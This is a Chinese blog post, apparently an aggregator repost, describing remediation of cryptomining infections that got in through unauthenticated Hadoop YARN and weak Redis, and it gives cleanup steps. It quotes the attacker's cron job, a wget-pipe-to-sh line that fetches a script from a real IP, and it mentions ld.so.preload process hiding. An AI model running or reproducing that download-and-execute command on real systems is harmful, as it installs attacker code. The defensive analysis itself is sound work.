挖矿程序中毒分析(有这篇够不)
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了挖矿程序中毒分析(有这篇够不)相关的知识,希望对你有一定的参考价值。
这不,昨天在朋友技术群里又见到了挖矿被中毒的场景......
猛然间想起自己帮媳妇儿公司处理过hadoop管理平台yarn弱口令漏洞被利用,
从而成为挖矿者俘虏的往事。
以前案例现象:
访问yarn:8088页面发现一直有任务在跑如图:
用户为dr.who,问下内部使用人员,都没有任务在跑;
结论:
服务器被中毒了,者利用Hadoop Yarn资源管理系统REST API未授权漏洞对服务器进行,***者可以在未授权的情况下远程执行代码的安全问题进行预警。
用top命令发现cpu使用了360%多,系统会很卡。
解决办法:
1,通过查看占用cpu高得进程,kill掉此进程
2,检查/tmp和/var/tmp目录,删除java、ppc、w.conf等异常文件
3 ,通过crontab -l 查看有一个 * wget -q -O - http://46.249.38.186/cr.sh | sh > /dev/null 2>&1任务,删除此任务
4,排查YARN日志,确认异常的application,删除处理
再通过top验证看是否还有高cpu进程,如果有,kill掉,没有的话应该正常了。
注意:YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何则就均可利用其进行远程命令执行,从而进行挖矿等行为,直接利用开放在8088的REST API提交执行命令,来实现在服务器内下载执行.sh脚本,从而再进一步下载启动挖矿程序达到挖矿的目的,因此注意并启用Kerberos认证功能,禁止匿名访问修改8088端口
于是,自告奋勇,以为还是类似的情景。
技技术群对话~~
加密的脚本内容:
解密后脚本节选:
于是忍不住了,
问了下自己远程连接操刀
删除了几番试试,
按照脚本反其道而行之,
结果还是杀不干净.top能看到cpu 100%爆满.
就是看不清是那个程序占用.?
由于网络延时,没截图。
于是想肯定是top被替换了,
继续看了一下脚本,
原来是一张图片内嵌至伪造的同名库文件里,
同时库文件调用了下载程序的执行脚本,
top一下程序自动运行,并且子孙无穷尽。
(脚本是解密后放在自己服务器截的图)
本想干掉这个top的库文件,
但由于命名的诱惑性,
外加上杀不干净的程序,
当执行rm -rf时,
也明显感受到对方朋友的紧张。
于是了解业务后,
发现机器影响的业务并不严重.
也快下班了,于是不想再折腾了。
仔细再次溜了一遍脚本,
想再装系统之前和对方朋友涨涨姿势的,
但感觉到对方朋友
其实并不是乐意于彻底学习这个问题,
于是建议其重装。
事后,坐地铁总结了一下。
常见的挖矿中毒程序处理方式
处理过程的思路和建议方法。
1.服务器怎么会中挖矿***程序
肉鸡 弱口令 webshell xss 软件漏洞bug redis zk mysql 0day yarn等造成服务器被扫描并且提权。
2 首先遇到这样情况,我们杀掉挖矿的程序它会自己起来
没清理干净 定时任务 命令修改 开机自启动文件 历史记录
3.如何处理?
首先根据业务判定,造成业务故障,可选用HA方案切走应用服务,对服务器进行下架切断一切网络来源,进行相关处理。
当然一般处理方案是这样,首先通过iptables或者firewalls防火墙手段封死***者地址,类似与切断网络来源,接下来我们就可以进行分析和处理挖矿的原因。
处理的方式 可以根据挖矿脚本进行分析 一个一个进行处理 对修改的命令和文件进行恢复和删除 。
后期对系统和web进行安全测试,对系统漏洞进行修复.
Linux后门入 侵检测工具chkrootkit、RKHunter等的巡检。
系统文件MD5值的对比。其实安全最大的因素是人。
当然监控也非常重要。
4.此次原因分析
Redis存在弱口令导致的此次故障问题,Redis可以通过config配置方式 修改配置目录将自己的key放在服务器上,以达到服务器提权的目的。
Redis 未授权访问缺陷可轻易导致系统被黑:
https://www.seebug.org/vuldb/ssvid-89715
笔者建议出现类似事故后处理的命令:
查看哪个进程占据cup
通过 top 或者使用 ps aux
这个案例通过top 命令看不到哪个进程占用了cup ,查看脚本后执行 cat /etc/ld.so.preload 里面也加载了异常的文件,判断是用于隐藏进程用的, 建议将其内容注释掉或删除,执行ldconfig 然后再使用top 查看下进程;
!
疑点:
脚本里面图片在浏览器能打开,本地打不开.怀疑是隐写术(微信后台传不来)
本地打不开,隐写工具也打不开。
使用 ls -lt /etc | head 查看最近变动的文件目录
或者使用 find 命令加参数 stat 查找最近修改过的文件
当然如果是细心一些的,还是会修改掉文件change时间点的.
查找进程文件删除,执行其中任意 1 条命令即可
ps -ef | grep shutdown [命令]
ps aux | grep /bin/bash [命令路径]
ps aux | grep bash [命令]
lsof -p PID
cd /proc/4170 [pid]
找出系统中所有的僵尸进程
ps aux | grep ‘defunct‘
或
ps -ef | grep defunct | grep -v grep | wc -l
清理僵尸进程
ps -e -o ppid,stat | grep Z | cut -d" " -f2 | xargs kill -9
或
kill -HUP ps -A -ostat,ppid | grep -e ‘^[Zz]‘ | awk ‘{print $2}‘
查找系统中的定时任务
crontab -l
或者
cd /var/spool/cron #查看这个文件夹下的文件删除
vim /etc/crontab
里面会有一个定时任务并且一般删不掉。 浏览器打开网址是个脚本,通过base64 加密,解密即可看到脚本内容。
还要注意随机启动脚本.
根据脚本删除脚本创建的文件,我这里期望删除的是
/usr/local/lib/dns.so ,/etc/ld.so.preload
查看系统登录日志
日志文件 /var/log/wtmp ,系统的每一次登录,都会在此日志中添加记录,为了防止有人篡改,该文件为二进制文件
cd /var/log ; last 或者 last -f /var/log/wtmp
当然这个案例里面日志都是被清掉的.
删除历史操作命令,防止***进入查看你做了哪些操作
history 命令来查看历史命令
history -c 是清除当前shell的历史纪录,因为系统一般会把信息保存在一个文件中,只要文件中内容没有改变,那么信息也不会变。linux中存放历史命令的文件是.bash_history,清空该文件(echo ‘’ > /root/.bash_history),那些历史命令就会被清空了。
如果是在shell脚本中调用 history -c 清空当前shell的历史命令,是不会成功的,因为bash执行命令时默认是会产生一个子进程来执行该命令,在子进程中执行 history -c 不是清除你当前shell的历史命令了。
可以使用source来执行脚本(source ./脚本),source 指在当前bash环境下执行命令。
关闭不需要的端口
屏蔽访问脚本中的域名 ip,关闭访问挖矿服务器的访问
iptables -A INPUT -s xmr.crypto-pool.fr -j DROP iptables -A OUTPUT -d xmr.crypto-pool.fr -j DROP
如果安装了redis ,修改redis 端口,设置复杂高一些密码 。
大佬们看完多多留言指教。
就此别过!
以上是关于挖矿程序中毒分析(有这篇够不)的主要内容,如果未能解决你的问题,请参考以下文章
挖矿,用硬盘,32个SATA接口够不?昂达就发布了B365 D32-D4魔固版